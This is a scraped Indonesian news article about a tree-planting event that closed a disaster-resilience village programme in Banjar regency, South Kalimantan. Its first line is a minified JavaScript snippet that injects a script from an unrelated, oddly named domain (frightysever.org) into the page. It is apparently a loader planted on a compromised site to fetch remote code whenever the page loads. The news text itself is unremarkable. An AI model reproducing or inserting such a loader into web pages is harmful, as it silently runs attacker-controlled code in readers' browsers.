(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Penanaman 500 bibit pohon menjadi menutup rangkaian program Desa Tangguh Bencana (Destana) 2025 Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Banjar di Desa Gunung Batu, Kecamatan Sambung Makmur, Kamis (10/7/2025).
Jenis bibit pohon yang ditanam meliputi jengkol, petai, kasturi, salam, pinang, pempakin dan durian, seluruhnya berasal dari bantuan BPDAS Barito.
Penanaman dilakukan oleh unsur Forkopimcam, kepala desa, Apdesi, relawan Destana, serta didampingi BPBD Kabupaten Banjar.
Plt Kepala Pelaksana BPBD Kabupaten Banjar, Yayan Daryanto, menyatakan bahwa kegiatan ini menunjukkan semangat masyarakat dalam menjaga lingkungan sebagai bagian dari kesiapsiagaan.
Baca juga: Resmi Dibuka, Audisi Hafiz Indonesia 2026 Mencari Penghafal Al-Qur’an Cilik Berbakat!
Terbentuknya Tim Siaga Bencana (TSB) dan kegiatan penanaman ini adalah capaian yang membanggakan.
“Masyarakat tidak hanya dilatih menghadapi bencana, tapi juga diberikan pemahaman untuk mencegahnya sejak dini melalui vegetasi,” jelas dia.
Lebih lanjut, dia mengajak seluruh warga untuk terus berkomitmen.
Baca juga: Coaching Clinic 1 Implementasi Strategi Sanitasi Kabupaten 2025 untuk Tanahlaut dan Batola
“Kami berharap setelah kegiatan ini, semangat masyarakat tidak berhenti. Ini awal dari rencana aksi jangka panjang, termasuk mensosialisasikan hasil kajian risiko dan memperkuat kelembagaan desa,” katanya.
Kabid Pencegahan dan Kesiapsiagaan, H Abdullah Fahtar, menyebut bahwa langkah vegetatif seperti ini adalah fondasi keberlanjutan mitigasi bencana.
“Akar pohon adalah pengikat tanah yang kokoh. Tetapi lebih dari itu, menanam pohon berarti menanam harapan, memperkuat daya tahan sosial-ekologis desa,” tegas dia.
Camat Sambung Makmur Yuana Karta Abidin turut mengapresiasi kegiatan ini.
Baca juga: Perkuat Kesiapsiagaan di Desa, BPBD Banjar Bentuk Destana 2025
Ia menilai penanaman pohon menjadi wujud kesadaran masyarakat terhadap pentingnya lingkungan sebagai pelindung alami dari ancaman bencana.
“Dengan penanaman ini, ulun (red-saya) berharap warga sadar bahwa pohon bukan hanya penghasil oksigen, tetapi juga pelindung dari longsor dan sumber kehidupan,” katanya.
Kapolsek Sambung Makmur menilai upaya mitigasi vegetatif ini patut didorong lebih luas.
“Pencegahan adalah bentuk tanggap darurat paling awal. Menanam hari ini adalah langkah nyata menyelamatkan generasi mendatang dari bahaya bencana,” ujar dia.
Baca juga: Menunggu Rilis 21 Prioritas 100 Hari Kerja Wali Kota Banjarbaru Lisa Halaby
Sementara itu, Pambakal Desa Gunung Batu merasa sangat diperhatikan.
“Bantuan bibit ini akan kami rawat, dan mudah-mudahan menjadi warisan yang melindungi anak cucu kami. Terima kasih kepada BPBD, BPDAS, dan semua yang terlibat,” ucap dia.
Kegiatan ini menjadi bukti bahwa sinergi antara pemerintah, masyarakat, dan lembaga lingkungan hidup sangat penting dalam mewujudkan desa yang tangguh, hijau, dan berkelanjutan. (Kanalkalimantan.com/infopublik/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More
KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More
KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More
This website uses cookies.